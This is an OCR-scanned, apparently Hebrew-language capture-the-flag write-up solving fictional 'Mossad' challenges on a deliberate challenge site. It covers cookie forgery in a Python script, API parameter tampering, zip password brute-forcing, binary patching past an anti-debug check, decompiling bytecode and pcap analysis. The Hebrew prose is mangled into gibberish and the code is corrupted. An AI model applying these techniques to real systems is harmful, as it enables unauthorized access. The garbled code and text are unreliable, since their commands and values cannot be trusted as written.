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Challenge #1

Welcome back Agent CI

Once again we require your skills for an urgent mission.

Our intelligence officers have intercepted a message between notorious terrorists
discussing an imminent attack on targets world-wide.

Intel points to a popular chat website used by these terrorisis to coordinate and select
rendezvous locations.

Your mission is to track the team online and ascertain their physical location.

The following leads to the web site of the online chat service.

Good luckl,
M.
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:Logins !

Welcome to ChatMaster™! The #1 chat room service on the net!

Welcome to ChatMaster
Register Please enter your login information below
De-register
Registration Status User name

Login Password

=
About us...

Forgot your password? Click here

JTI0 0TN KIXAYI NDwwn7 "annn? o S - 1 s

~

J0wnn am T ek aplowain s 4 o s

1. L . X1 0 os ”

:realgam3nwa 71 Dy NdWWNY? nnwina 7'nm)

Welcome to ChatMaster
Please enter your registration information below:

realgama3
realgam3@gmail.com

Whoot!

SUBMIT!

NIYWRY DONNY 0'WIR 36 111197 W' R NN 70NN NIWKR 727 0DMY 1IN 1NWIIY INRYT

AIWRY N7 DUI2'0N NI 77 TANYT T 1IN DRIWRY NIR D'Y7 0T KIXAY7 0'DMIX DNIXI

ChatMaster Registration Status

There are 36 users before you in the registration queue.
You will get notified when your account is active.

Users on the waiting queue

realgam3
Mr.Li BOb
Dr. Drek
may_o_nez

tom_HW
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:deregister? Vw7 111'W7 YOI (1I1MMWNIW INKR7) NAWINN T7 DTN 1INIRWD

Welcome to ChatMaster
User realgama3 is already registered! Would you like to deregister?

D'N'AN NNIX N '2N7 77 IRW 'YDY ...|"MIyn ,N702NN N7Y DnwInn 1'7Y 0'¥NI7 1INIX TWRD
17 177w on "71x Cookiesa V') NINN WX 1INXY NN

Ty 0 + %) = Q <

» .deceptionisland.xyz | _ga

+ .deceptionisland.xyz | _gid
+ deceptionisland.xyz | challengeState

* deceptionisland.xyz | eu

Value

RcmVhbGdhbTM=§

()
o’
@

Domain
deceptionisland.xyz
Path

/
Expiration

03/05/2018 10:16 AM
HostOnly [« Session |« Secure HurpOnly

V Help

719> Base64a T1TIpn |oxin SeializedDatanxa - challengeState |

.Google Analytic§ oniwp - _gid*x _ga 1

realgam3x'n NXRXINN INIX D'NIYON 1INIRWOY NIXOINA qpin Basebhw 1Ny nw' -eu

NXN) UNNYNN DY ,NN'YI] D'YUNNYNN 727 nnwann DX 70127 0'DMY INIRKY D'YTI DNIX TX
17 w1 (Responsénn 11in xin D) Wmw? 1oxa Tnn challengeStaterpipn NX ,eu nwa ‘i

.deregister? V'

‘D'YNNYNN 737 nnwnan 7020w [In's1 TI ANl ,NIT T NTIAYN DX NIYY7 X7 nan 7y

import re
import requests

# List of all users

users = [
"Mr.Li BOb", "Dr. Drek", "may_o_nez", "tom_HW', é , "britneylspearz",
]

IX X0721) 2017 - Tomn 7 0I'an NANKX |INNS
www.DigitalWhisper.co.il
8 2017 1 83x T x4 L ¥




Technologic

# Current Challenge State
chall engeState =

# Iterate All Users
for user in users:
# Show our place on the list

res=req uests.get(
url="http://deceptionisland.xyz/challengel/viewlist",
cookies={
‘challengeState’: challengeState,
‘eu’: "cmVhbGdhbTM=""
h
)

# Preserve challengeState Cookie
challengeState = res.cookies.get('challengeState’)

# Print our place on the list
print re.search("(There are
res.content).group(0)

# Deregister user
res = requests.get(
url=" http://deceptionisland.xyz/challengel/deregister",
cookies={
‘challengeState': challengeState,
‘eu”: "%s"™ % user.encode('base64').strip(),

h
headers={

'Referer": res.request.url
h

# Preserve challengeState Cookie
challengeState = res.cookies.get('challengeState’)

# Print challengeState Cookie (the last state)
print
print {'challengeState": challengeState}

\ d+ users before you in the registration queue V)Y

' ODF3UFAObWI teGp2bEpkRkdmMGRI UOé WHhQWI [Ur Nmcr dFc 3t

:N2N 0790 DR 72721 TIRN DR Y2

There are 36 users before you in
There are 35 users before you in the registration queue.
There are 34 users before you in the registration queue.
There are 33 users before you in the registration queue.
é

There are 4 users before you in the registration que
There are 3 users before you in the registration queue.
There are 2 users before you in the registration queue.
There are 1 users before you in the registration queue.

{'challengeState": "

the registration queue.

ue.

aXNQSFh L ZV KWURISINSSHRbjY= "}

117w o1vVON NN NXNIL 9 T9TA challengeStatepipn NX 97N

realgam3

Welcome to ChatMaster

ChatMaster Registration Status

There are 0 users before you in the registration queue
You will get notified when your account is active.

Users on the waiting queue

DY DY N2NNNY7 D'0IN 1INIX ,ONKR T QX IXANX IR 11197 |'KI IDAVN] [IYRIN TN 1INIXR 1'WOY

IR 7N R'YN 1TN? YRaNT? P % ARl nwd .ont7xnl n9Y nnoront realgam3 wnnwnin
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nnkw nyTin o'7apn nnax (View all chatroom$ ox'vxn TN 9D DX NIKYY7 D'0101 1INIXWD

TN DX NIXYY "D DI''079 [1AWN DY NI 0Dy

Welcome to ChatMaster™! The #1 chat room service on the net!

Welcome to ChatMaster

® Sorry, This area Is reserved for our PLATINUM members only._.

Welcome realgam3!
Chatroom membership
View all chatrooms
Active users
Logout

)
About us._

DTNN N9'X |'2n? non ™81 Chatroom membershigT "7n1m1 vx'Y VTN 9I0¥N7 DO '"IX TX
...0nmynn

Available Rooms Selected Rooms

50+
art
dating
news
politics SELECT
sports

REMOVE

JOIN ROOMS NOW!

NNAY 07270 1INIX TAR TNN N 2V 198 9a0xn?1 TN TN 1INA7 TWONNY punn 17 v

AIY D'DMX NNIXY NYTIN D"71|7YJ 11NAIX UX'¥] NI9XY7 D'0IN 1INIX DNI ...NYAT 12 TNX TN NIy

LOKR'XN 1TNY 01007 T NdWNN 7N YW IwUR
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:DTNN NN'wN DR TN AP AJAXn niarayn GEThwjpza nn7wa o7 Ninkn

challengel/chatroonlist 7u=apiussrép=apipasswvordéutype=Llirand=£2
L5593 05-cabl-4b5d-ae07-109847eldlaTea~0&s=1l&g=5&1at=50.07973 &long
=090.78369 HTTP/ 1.1

HoSt: OSCepPCIonISIland. nve

Accept: application/json, text/javascript, */*

X-Requested-With: XNLHttpRecquest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingé4; x=E4)
AppleWsbKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81
Safari/537.3€6

Content-Type: application/x—www-form—urlencoded

Referer: http://deceptionisland.xyz/challengel/chatrooms
Accept-Language: en-US,en;q=0.0

Cookie: euw="YZlhhdFcxeg=="; gat=1l:; eu="cmVhbGdhbTH=";
challengeState="aXI0SFhL ZVk:IUDNJSTJDUUNkaxUTFVPeDhUTnhDZFVYZHh‘l
MRk ZF ImMVF LS zViR1UVHWF TSDF 2 Z0RYyOD 1wHF RvTVATal REUNI SA 1 VEMURN TEF X
MlhPLzF4¥TnlsM1BhUCSzUGNNEKE INLAQSWF QUK LWk4yNXJBLzFEek9IQ0k1EckDz
VinllyS3 kONXcomhx TIF pVWIvUZ lwOGSkh LVJQkdraZwwZEgwalZFaFVeVidaTiNE
VTItNndPVVo I MHF tLO42 UnZpVyt 3 Up TAVRSVG10aFVSWIVoeEFhYUSke WESHTAL
UWhybZwiVIipjemMZUZ 1TV IhZWUIQLITIFLamp ze Hp Y IV THITEVF yRWIDSZ ISUEAD
AEhsUWnbVVieFFFVI SkimxGaWFJTGSLRZFXalZyRFEDe¥4bh3 11d2 ZmTThZ b
MSBITzBLULROVIRTVDRUIvt Ko dx L2 gyl LAz UmS EQkI TWcd4cEF SRFIELOt xVI 91
RINrNZJBAGRalU0S52 ODhEQURUSWSr TEY 52 ] luWjNwM3 Zr S50 UKIBSVERITI EGe5ts
ATJHZFADOXg4cUIPOIQyT1ZJTWNI ZGswind WUWNyN INkSkhWUzZpYzFieUByEnVe
S VINVVLCGRp Wk L MHF xdUx G Znpd TmS i UpnM3 h2 UGNSVURZSDISS ) JRb Y=";
_ga=GAl.2.1245930603. 1493677213 _gid=GR1.2.142123518. 1493722139

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET HTTF/Ll.1 200 OK

e

Date: Tu=, 02 May 2017 10:50:15 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: €4

Content-Type: application/json

{"chatrooms": ["50+", "art"”, "dating", "news", "politics", "sports"]}

NT p-1 YNNWwn AT U DX ) a1 (Unnwnn a0 NX1D) utype D''myn 0onio 2 RN NIX

.(all '’k admin > nx"1 a X Nno'o

795 7012 D) 0-7 1-n utype nxi (true-7 false-n) 1-7 0-n a NX NX NIWI NX¥P DNVNI9N DY PNV

1770 0w 72X DA 0TV I'D DMNNR DTR'YY DY 710 ,(J'D'\UYJJ JIYUKAN ATI'N A0 N7 |'NTR

.0"Mran

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

I I HTTP/ 1.1 200 CK
challengsl/chatroomList 7u=apinssc&p=apipassvordeutyps=Derand=c2f| Date: Tus, 02
lEIQEEISf:.ahi*‘lbf-d*aiﬂ’?*fﬂgﬂ‘ﬂeld:a7&a:l&s:L&gZSElat:9D.EI’?S’?E&1Dng| Server: Apache/2.4.18 (Ubuntu)
S0, 76360 HITP/ 1.1

Content-Length:
Contenc-Type:

Host: deceptionisland.uyz

May 2017 10:51:24 GHT

zoz

application/Json

Accept: application/json, text/javascript, */7*
X-Requested-With: XMLHCTpRequest

User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winéd; x£4)
AppleWehEit/537.3€ (KHTML, like Gecko) Chrome/58.0.3028.81

dancing

{"chatrooms™: ["*3ust chat*", "-Mossad challengs solutions-","S0+", "Mobile & gadgets”, "Platinum

club”," chatlge_ ", "art”,"cowputing”, "dating", "news","politics”, "sports", -~ !!!|WeRGOdsFury!!!~~"]

Safari/537.36

Contenc-Type: application/x-www-form-urlencoded

Refsrer: hrep://deceptionisland.xzyvz/challengsl/chatrooms
Accept-Language: en-US,en;q=0.8

Cookis: eu="YihhdFexeg=="; _gat=l; eu="cmVEbGAMSTH=";
challengeState="aXN0SFhL ZVivIONISTIOUMy Zkx UTFVPe DRUTRhD ZFVTZWhA
MRk ZF 1MVFLS 2V3 B 1UvHWFTSDF 2 Z0RyOD 1wMFRvTVATa 1 REUnd S LVEMURNTEFX
MLhPLZF4Tn1sM1BhUCS zUGHNRIZ I 1AQSVF UQUK LWkc4yITXIBL 2F Ee k9 TQk LECKD
V53 kONEdoHimh: Y3 FpVWIvIS 1w0GSkh 1VIQkdral ww ZEgwalZF aFVuV3 JaTINE
VTJtNRdPVVo3 MEFtLO4Z UnZpVyt I SUpTAVRSVGL0aFV 5 VS=EFhYUSke WESHTAE
UWhybh2wZV1pdewlz U2 1YV 1h2 WUQLTIFLamp 2= Hp 6 Y 1V TRI TZVF yRW1DS2 JSUEAD
AEhSUWNNLVVieFF: JCmGaWF I TGSLR2FXal ZyRFEDC KHAb ] 11d2 ZmTThIbmx
K82 TzBLULROVIRYVDRuQytKejdxLZ gyl AzUm9 6 Qkd TdWd4cEF SRFNKLOtxV29 1
RINYNZJBAGRaUD 52 CDhKQURUSWSY TXT523 LuWNwh3 ZrSSOUK3 BSVERZT] 2GSt s
ATIHZ3ADOX G4 cUTPQI QyT 12 TWIN2 ZGSvwSnd WOWHyN INSKhWU 2 2p Y aF 1 U8y Znvy
SIVENVVLCGRD W LMHF % dUxCZnpd TmScliUp i3 h2 UGHSVURZSDISS I JRLIY=";
_ga=GAil.2. 1239930603, 1393677213; _gid=GAL.2.142123918. 1493722139

Mossad-) 7nu m> nyp NXMY 1TNY 27 DMy Dal) OX'YN TN 72 K O'RN NNXY 1INIX DY)

,OX'¥N 7TNT 012'N7 *Td INIX TWKR' NDWNN 7n1nw 0DMY NNIX TV 7ax (-challenge solutions

Forgot your - 17w nno'on 019X '*T-7y *7IX) NdDIWNN 7n1nY7 YIND7 T7WOX DRN NIXI? N0 TR

.(password?
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Welcome to ChatMaster
Forgot Your Password?

Please enter your username below:

User name

SUBMIT!

The admin password for "chatW1z" was successfuly reset. hint: /challenge1/password_hint

TN Y2l 17 T http://deceptionisland.xyz/challengel/password hirmilw'72 0'0121 11NIX UKD

file nTiEoN DY yalpn 10 NN 21T

root@kali: # file password hint
password _hint: Zip archive data, at least v2.0 to extract

y¥a7 rawva ferackzipa wnnwa ™) ,NN0'0a 71¥1 Yalpnw D0'7an NNIX X ZIp KN Yaln 10

YaI7n 7w nnoon 7y BruteForcenspnn

.NNO'ON NX XKXINT "D YI7'na wnnwn? -u g
NNOFE NIMIR ,NIM NI - Aal: (1 =09 ,a = az,A = AZ) nno'oa MWOXRN VOZLVN AI0 -C
.0mooni

.1-6 :nnoo? mwon A -l

:DLLyalp 72j72 n1NIXI UNZIPNNTYA 9'TN YaI? DX Y7N1 X ,dOC1 X'N 1IN¥NY NNo'oNn

dkali: # unzip -x password hint
Archive: password hint

[password hint] PassMasterExtension3 1.dll password:
inflating: PassMasterExtension3_1.dll
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Technoloqgic

NIXT? [N '90 Runowa exportedinrxzao ww 1'k11 IDADy DLLyazn N7 nxxn pn X7

NN TP VoA

Mame

@ Decrypt
@ Decrypt2
@ Encrypt
@ Encrypt2
@ Run
E3 DIEN

Address Ordinal
73772890 1
73772BCO 2
F3772B0O0 3
F3772B30 4
FITT2C20 ]
73772F3E [rmain en

INNAN NO'WA NdIN YaY? nvan x32dbg natva ,DLLyalp 2277 7aNarT oy NNYOR W

17w 0'7an'on 7y n*ononi x32dbga yxan DLEN nX 0N

-’_ CPU

QGraph | | 2 Log | [ Notes | ® Breakpoints | #88 Memory Map | [l call Stack | =3 SEH | |#| Seript | & symbols | <2 Source

Base Module Party
00410000 | d111oader32_9138. exe User '
&80 30000 | ucrtbase.d11 System |1
&C100000 | api-ms-win-crt-convert-11-1-0.d11 System |1
&C110000 | api-ms-win-crt-stdio-11-1-0.d11 System |1
SCAFOO000 | api-ms-win-crt-heap-11-1-0.d11 System |1
SCES0000 | api-ms-win-crt-string-11-1-0.d11 System |1
SCE20000 | api-ms-win-core-file-11-2-0.d11 System |1
SCE30000 | api-ms-win-core-processthreads-11-1-1.d11 | System |1
GCE40000 | api-ms-win-core-synch-11-2-0.d11 System |1
SCESO000 | api-ms-win-core-localization-11-2-0.d11 System |1
SCESD000 | api-ms-win-core-file-12-1-0.d11 System |1
SCEADDODOD | api-ms-win-core-timezone-11-1-0.d11 System |1
SCEBOOOO | veruntimel4o.dll System |1
api-ms-win-crt-runtime-11-1-0.d11 System |1
p] passmasterextension3_1.d11 User |
kernelbase.dl11 System |1
msvert.dll System |1
gdi3zz.dll System |1
imm3z2.d11 System |1
rpcrt4.dil System |1
advapizz.dll System |1
usplo.dil System |1
77000000 | 1pk.d11 System |
77170000 | user32.dll System |1
A0000 | kernel32.d11 System |1
80000 | sechost.d11 System |1
A0000 | msctf.dl11 System |1
40000 | ntd11.d11 System |1

»+ || Address | Type Symbol

736F2B00 | EXport | Encrypt

736F2B30 | Export | Encrypt2

736F2E30 | Export |Decrypt

736F2BCO | Export |Decrypt2

736F2C20 | EXxport [Run

736F2F3E | Export | OptionalHeader.AddressOfEntryPoint
736F4000 | Import | GetModuleHandlea

736F4004 | Import | GetTickCount

736F4008 | Import | SetUnhandledExceptionFilter
736F400C | Import | GEtCurrentProcess

736F4010 | Import | TerminateProcess

736F4014 | Import | ISProcessorFeaturePresent
736F4018 | Import | IsDebuggerPresent

736F401C | Import | InitializeSListHead
736F4020 | Import | GetSystemTimeAsFileTime
736F4024 | Import | GetCurrentThreadId
736F4028 | Import | GetCurrentProcessId
736F402C | Import | QueryPerformanceCounter
736F4030 | Import | UnhandledExceptionFilter
726F40328 | Import | memset

736F403C | Import | __std_type_info_destroy_list
736F4040 | Import | _except_handler4_common
736F4044 | Import | memcpy

736F4080 | Import | __stdio_common_wTprintf
736F40584 | Import | __acrt_iob_func

736F4088 | Import | __stdio_common_wTscanf
736F404C | Import (malloc

73I6F4054 | Import | _cexit

736F4058 | Import | _crt_atexit

73GF405C | Import | _execute_onexit_table
736F4060 | Import | _register_onexit_function
736F4064 | Import nitialize_onexit_table
736F4068 | Import | _initialize_narrow_environment
736F406C | Import | _configure_narrow_argv
736F4070| Import | _seh_filter_d11

736F4074 | Import | _initterm_e

736F4075 | Import | _initterm

XY N'¥2190 DR W' 2T7 NNWORN NX 117 [N ,"Set New Origin Hetgm'oi x32dbga n' [xn%?

N7 PN NTA NI ono ,ntn DLEN NX n7y'w yalp 2mdY1 171onip niv NINSY X X7 ,0'%N

DNIXR QINT? VIYD DVNID NND W' AT ,2QT7 DYNY ANII9N X D'WY7 LIYD AT ("MyT7)

E§ Assemble Space
& Patches Ctrl+pP
1 vara... Ctrl+¥

Set New Origin Here Ctrl+* I

11' Create Mew Thread Here
& G »
1ol Search for »
Y R ~

.DOXNN2 D'YINNNIE DN0NN9N DX 1TOYI NonnY
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WUPAN XINY XNO'0 W'Y TIZN '97 NRAI TIPN NIX 2217 7'NNA DN WNKY

7| C\Users\master\Desktop\DLLLoader32_79C2.exe EI@

Managnment password:
1234

m| s

DN D NIDIN XNO'0N N'AN NN NYT? NNWOX wnn |'X DA ,0'10] KNO'O NT'X NIYN NNX2 X7 Nt

DN wnn X7 DA DP7NY DN 02 0y 19X Xl GetTickCourh nz'maa n'wnnwn

Jmy ' X TIva Xno'on NN N NITNY? NI0A7 At 7Iata ATy NAn? 10 X ,N09TnY

-text:737728F1
-text:737728F3
-tert:737728F6
-text:737728FB
-text:73I7728FD
-text: 737729008
-text: 73772901
-text: 73772902
-text: 73772903
-text:73772908
-text:7377290A
-text:73772918
-tert:73772915
-tert:7377291C
-tert:73772922
-tert:73772924
-tert:73772929
-tert:7377292B
-tert:7377292D
-tert:73772938

DTN TIp yopn Nt

; "kerneld2 . dl1"

nn '9% oravinny 0'na 0x40:7 o'kNn Xno'onl NT'Nal 0Nl 0x40%TIaa Xn0'o DAYNN (JWnnl

N2 wnn X7 XIN N' N1 1T a3'on L, 1 vTnn nxion GetTickCounh yapw

14
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WEzF e B3 F8 O1 Cmp eax, 1
r=—--# ~ 75 2D jne passmasterextens1un3 1.73792AD2
| L 8D 8D FC EF FF FF lea ecx,dword ptr ss:|febp-1004]
! . ES 50 FF FF FF call passmaster‘extens1un3 1 ?3?92}1.00
l . 8D 8BS FC EF FF FF lea eax,dword ptr ss:|[febp-1004]
1 . S0 push eax
i . 68 90 43 75 73 push passmasterextension 73734930
! * E8 5F E5 FF FF call passmasterextens1un3 1.73791020
0 . 83 C4 08 add esp,8
! . BB 4D FC mov ecx,dword ptr ss:|[ebp-4]
! L] 33 CD Xor ecx,ebp
! . E8 57 01 00 00 call passmasterextension3_1.73792C25
1 . 8B ES mov esp,ebp
1
| . 5D pop ebp
1
1 L] C3 ret
L--re 68 AB 43 79 73 push passmasterextension 73794948
. ES 44 ES FF FF call passmaster‘extens1un3 1.73751020
. BB 4D FC mov ecx,dword ptr ss:|[ebp-4]
L] 83 C4 04 add esp.i
. 33 CD xor ecx,ebp
. ES8 2C 01 00 00 call passmasterextension3_1.73792C25
. BE ES mov esp,ebp
all 7 A v oon ebho
-7 mw
B3 F8 01 cmp eax,1
20 nop
o0 Nop

X7V "D DAwNN XM 1y'pwn Tomn TP 19 NINYN XNo'on L,17Y XNo'on NX 7271 pn WNKY

1YY TN 2 NI NN vy 1o

| C\Users\ma ster\Desktop\DLLLoader32_79C2.exe EI @

m| »

fMour password is: chatroomguardian

.D"NTN IWKRT? 0710 1INIX TR ['MTRN 7w hno'on NX 117 ' Nyd

Welcome to ChatMaster

@ Recent chatroom membership approval:

chawtz - = e

Pending chatroom requests
L ogout

]
About us...

"~ ~ MeRGOdsFuty ! ™ :xia 0¥ 1NIXY Y7TRNW D'2N INIX DYTNN DY ¥ 7NYn NNX
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nn7wa Ik HTMEQ TN 0w '1'w 1 7Y 2TNY 910¥n? nwiza n7wal 09w wnnwn? 2ITna 0TI ™

NYpan
You are a member of the ~~!!!WeRGO0dsFury!!!-~ chat room
Available Rooms Selected Rooms
50+ - ~~1IWeR GOdsFury!ll~~ -
art
dating
news
politics
sports

JOIN ROOMS NOW!

TN DX WK NDIYAY 1INXAY NNOo'oN DY 7nInY 21w 010) 1'wdy

User 'realgam3' would like to access '~-~IIWeRG0OdsFurylll~~'

:(Chat Now) 7Tn'7 01011 NINNXN DY9 N7W wNNWN? 1ITN1 1TNN DR INYRY NINXR

@ Welcome to the ~~!!/WeRG0dsFury!!!~~ chatroom! (You are the only one in the room)
Welcome realgam3!
Chatroom membership ‘Where are you my friends??? | am already here at: The-bay-
watch’
View all chatrooms Please hurry, and bring the ‘kandies’. | have a feeling we're being watched
Active users
Chat Now!
Logout
About us_

Ixan 277 nNIR 72an 'Thebay-watch' Niwpn 2y nxnY
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ST echnoloqgi

IExplode 5.441 " = * .

Nn'wnn 7v Yaon

Challenge #2

Well done Agentl

The location you recovered was correct and we dispatched our tactical team.
However, the terrorist group was already gone by the time they arrived. We gathered
enough intel to determine that the terrorists have planted a bomb on an airplane
somewhere in the world, but we do not know the flight number and/or its destination_

We did however recover a of the bomb from the terrorist meeting.

Our steganography expert insists that the picture contains a hidden message, but she
was unsuccessful in uncovering it before she left on her honeymoon.

We require your assistance in locating and defusing the bomb before it detonates.
There isn't much time. ..

Good luckl,
M.

NINNNA NTNNN Y7n7 X' nonnw 0'an nnax (bomb.png) namn 17 TN picture 7y nx¥'nY

JINT NIYWYYT 71 Zsteg 71 wnnwa X

(b1) 1 1 H©y¥ LSBx'n vOjFUN NX X'2NNY7 'O N IYANYNY N'OIA1200N NU'WY Kx¥n zSteg

AXy)y vy 7w i x vy v nxma (bgn s x 1« o~ wnton, Lo x 1)

Y AW D'7apn DNIX IMIN D'NIYon NNIXY NK? ,Base641md nx1a napw uvopun

D"7an1 http://deceptionisland.xyz/challenge2/bombiw'? n'0101 1nnax ."/challenge2/bomb’

:NXYON NN 77017 "D 701NN NNO'0 NIK 1XYW NXXD 7W MNK NTYW

)

."’,vl Remote Bomb Control System

Powered by iExplode™_ All rights reserved

Disarm Bomb
Please enter your admin password below to disarm the bomb

Bomb Remote-Control Menu
Explode Now!!

Admin Password

Disarm Bomb

o)

Manual defuse

Bomb Info

IX X0721) 2017 - Tomn 7 0I'an NANKX |INNS
www.DigitalWhisper.co.il
17 2017 1 83x T x4 L ¥



http://deceptionisland.xyz/challenge2/bomb

Technologic

:iExplode 5.4n>ynn nnwip? nwp w'w 0'’N Nk Bomb Infe? 0o nnixwd

£\

.“vl Remote Bomb Control System

Powered by iExplode™ _ All rights reserved

Bomb Information
Bomb Remote-Control Menu
" 070 =]
DS E D Model Number #BMB123%UKFG%22311 C-4 edition
Manual defuse Serial Number 0000000000000000001
Bomb Info. Status Armed
Firmware Version iExplode™ 5 4 Beta edition
License None (Evaluation version)
Plastic (standard) Plugin Installed
Anthrax Plugin Not installed
Extra Damage Plugin Not installed
Mass Destruction Plugin Not supported

Afile nTIPON NITYA yaIpn A10 NN 'an? D'oani YalEn NN DTN 1INIK

# file firmware
hive data, at least v2.0 to extract

ro ali: d
Archive: firmware
extracting: ead62fcb3feb4lc2bee?22cleed9aa7of

ali:~/ d# file ead62fcb3feb41c2bee22cleed49aa7of
ead62fcb3feb41lc2bee22cleed9aa79f: Linux rev 1.0 ext2 filesystem data, UUID=b234e
041-6919-4b01-9e29-6212081ece9e, volume name "iExplode"

sl Tt .

IMIX NI9N7 7O Mount-2 wnnwa X ,ext2 aion opn'? 7w n'¥ap nNdwwn ¥ yalp 1'vdy 17 v

:NTIPON MTYA N'alpn A

mount ead62fcb3feb41c2bee22cleed49aa79f ./mount / |

NKRN 7Y 0Yapn It 0w IR variwww -7 0101 nwd

l62fchafebd4lc2bee22c1ee49aa79f ~/mossad/mount/

Iroot/mossadimountivariwww! 1 ount? (ar/wew/

f iexceptions.py 2017-03-21...
T iexplode.py 2017-03-21...
__|iexplode. wsgi 2017-03-21 ...
[ Pmamt.pye 2017-03-21 ...

yxa'm 7'nnm ™8 ,Pmgmt.pyel iexplode.py 1'woy nfmayn n'vap 2 n7 v loy nnxa on

(pip T TINY Aworw) uncompyle6 NaTva TIE7 NIk 19071 Pmgmt.pycyaizn 2y Decompile

NTIPOSN QY
# Install
pip install uncompyle6
# Decompile
uncompyle6 Pmgmt.pyc > Pmgmt.py

IX X0721) 2017 - Tomn 7 0I'an NANKX |INNS
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def defuse page(environ, start_response
try
if environ
raise ErrorPage

ata — environ read( 100
_data = parse_qgs/defuse_data

if Pmgmt.CheckPassword(defuse data
start_response
res

return res

start_response
res

return res

'woyw Pmgmt.pycima nnpimne CheckPassworcawa nanx n'¥jioa nwnnwn n¥paion

:Pmgmt.pyyaipa (TIpo™ IN'o Ni¥a X7) TIg NI axIm

17w offset-a wnnwn'l /etc/iexprun-1 X¥Niw yaizn NN XNP7 0¥ NNOo'oN NN NYT7 7\awa X

:__PASS ninwna nixno'o7 opTI'Nd

# python -c "import Pmgmt; pllm

nNo'o NX 0'vw1 ,"000000000001wn Nt iexprunyalpaw mix nt bang8x'n 71n1n nno'o

INNRN 27¢% 212w nxyon DR 71017 11D 7nann
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Its Encrypted- =~ x .~ 1+« %

Nn'wnn 7v Yaon

Challenge #3

You did it againl

The bomb you defused was discovered soon after the airplane landed (seems that
someone posted an anonymous tip to local authorities__ ).

Additionally, we have been able to recruit an agent within the terrorist cell.

We are unable to maintain constant contact with him as the agent is deep undercover.
However, he did manage to post a to our secure servers. We require your
skills once again in order to follow the communication trail and reveal the message.

Thanks, and good luckl,
M.

messageyalizn NX T TX ,NNIR NIYD7 70X 1INIXI NIOXIN NYTIN W'Y 022N NNIX NTN 272
‘file mATYa yaipn a0 nn

# file message

pcap-ng capture file - version 1.0

Network “w 1%7¢% nth 2%wn nx P nn Wireshark oy nnoiw pcapng yalza Narm
v' nn an? 1 Wiresharkny Imix nnoi message.pcapng yaizn oW nx 9*7n X ,Forensics

:(Statistics> ProtocoHirarchyvmona) Protocol Hirarchyhntya a

‘ Wireshark - Protocol Hierarchy Statistics - message
Protocal v Percent Packets Packets Percent Bytes Bytes Bits/s End Packets End Bytes End Bits/s
~ Frame 1000 114 1000 24296 7764 0 0 0
v Ethernet 100.0 114 6.6 1596 510 0 0 0
+ Internet Protocol Version 4 100.0 114 9.4 2280 728 O 0 0
~ Transmission Control Protocol 683.2 72 1.7 27135 8671 32 11224 3586
Secure Sackets Layer 22.8 26 60.7 14759 4716 8 3682 1176
Malformed Packet 79 g 0.0 0 0 9 0 0
Data 44 5 03 77 24 5 77 24
Internet Control Message Protocol 52.6 60 15.8 3840 1227 60 3840 1227

TCPminyvn wm'yw w' ma 7ax ICMRar (SE) mio¥in niayna 2NN win'y ¢'y O'RN 1INIX
S22pnn \ n7wa nn ARNENNIK WON TR N7
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M Wireshark - Follow TCP Stream (tcp.stream eq 0) - message

220 (vsFTPd 3.8.2)
AUTH SSL
234 Proceed with negotiation.

.Ul ..govl.®.. *.H..

. ...1337@gov.ile. .
1703230633177.

18632306331770z1.0 .Ul T11.8
..U....Israell.@...U....Tel-Avivl.@
..U

..govl.@

............. X...{X..0..9...R....f3;_p.o.....0.,.(-%...

(RPN S 0 4 < - T - AR DR . TR - T S 3

P L L

.

_..<¥rsZhre...5....Q.V<c<}. T oot B e 0...0.........
*_H..

..... 9z1.0 PR R I -}

veier....g.@.7.5.3.2.1.0.........E.D.C.B.1.-.).

.990 7101 vaIe 7Y FTRPover SSIhniayna Narmw o'rin nnax follow tep streamn'wyw NNk ™

.Tunneb> ICMPRa wnnwn? n'om "Xk pima ™) ICMPMayn ' Nir w'y k1 0N

.N¥INN\NN"9 yT'N navay

G008 P@ Oc 29 70 Be 00 00 Oc 29 99 75 ca 08 00 45 08 Jp---- ).u E
018 @@ 54 ff 2b 40 00 40 91 29 1d cP a8 c8 86 cO a8 T.+#0.@. ).......
OO20 8 88 08 00 83 38 0d c2 00 01 2f ac e9 58 @0 8@ ..... 8.. ../ .. X,
OO20 90 P8 21 2e of 00 00 90 00 00 2f 63 68 61 6C 6C S ../chall
Ooae 65 6e 67 65 33 2f 70 6b 65 79 2f 63 68 61 6C 6C enge3/pk ey/chall
a050 65 6e 67 65 33 2f 78 6b 65 79 2f 63 68 61 6¢ 6C enged/pk ey/chall
6868 65 be en
Jchallenge3/pkey'v1o nnon? 7'amw W'y IR¥N NPT
0008 @8 Bc 29 70 Be 9O 00 @c 29 99 75 ca P8 00 45 @0 Jp..-. ).u E
0e16 @B 54 ff 2c 40 00 40 01 29 1c c® a8 c8 86 @ a8 T.,0.@8. ).......
0E20 B 88 08 00 fc be ©d ¢3 00 @1 2f ac e9 58 60 @0  ........ T
0e20 9P 00 af 31 Of 00 00 G0 00 B0 73 65 63 72 65 74 ..1o.00 LLsecret
0048 20 20 20 20 20 20 20 20 20 20 73 65 63 72 65 74 secret
0a56 20 20 20 20 20 20 20 20 20 20 73 65 63 72 65 74 secret
oosa 20 26
.SecretpInn oy nYTIN W' NN9AN DY Y TINN INK7 TN
0000 90 @c 29 70 8e 80 0@ Bc 29 99 75 ca 03 00 45 00 )p---. ).u...E
0010 90 54 ff 2d 40 80 40 @1 29 1b c@ a8 c8 86 c@ a8 T.-@.@- )evunnn-
9020 c8 88 @8 0@ @c 6c @d c4 @0 @1 2f ac e9 58 @@ 00  ..... 1.. ../..%..
0030 00 00 ba 34 Of 00 00 @0 00 @@ 2f 63 68 61 6¢c 6c  ...4.... ../chal
0040 65 Be 67 65 33 2f 61 62 63 64 2f 63 68 61 6c 6c  enge3/ab cd/chall
0050 65 Be 67 65 33 2f 61 62 63 64 2f 63 68 61 6c 6c  enge3/ab cd/chall
#0680 65 be en
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WA Tomn 7w WIKi yalp oy Dyon ,nyTin TIV 1IR¥A Secret pImn oy ayTinn NR7 TN

NIPN2 INIX NWWD7 "D openssia wnnwa X ,Nno'od |9¥In 'v15N NNnonn /challenge3/abed

2NY 1D secret X' NNo'on ™IN .NI9XIND MIRVYNN DX NIWSY7 'O 12 wnnwn? Dnv

10190 NNONN TNKT7 W' NYTINA YVIAN NNo'oNY

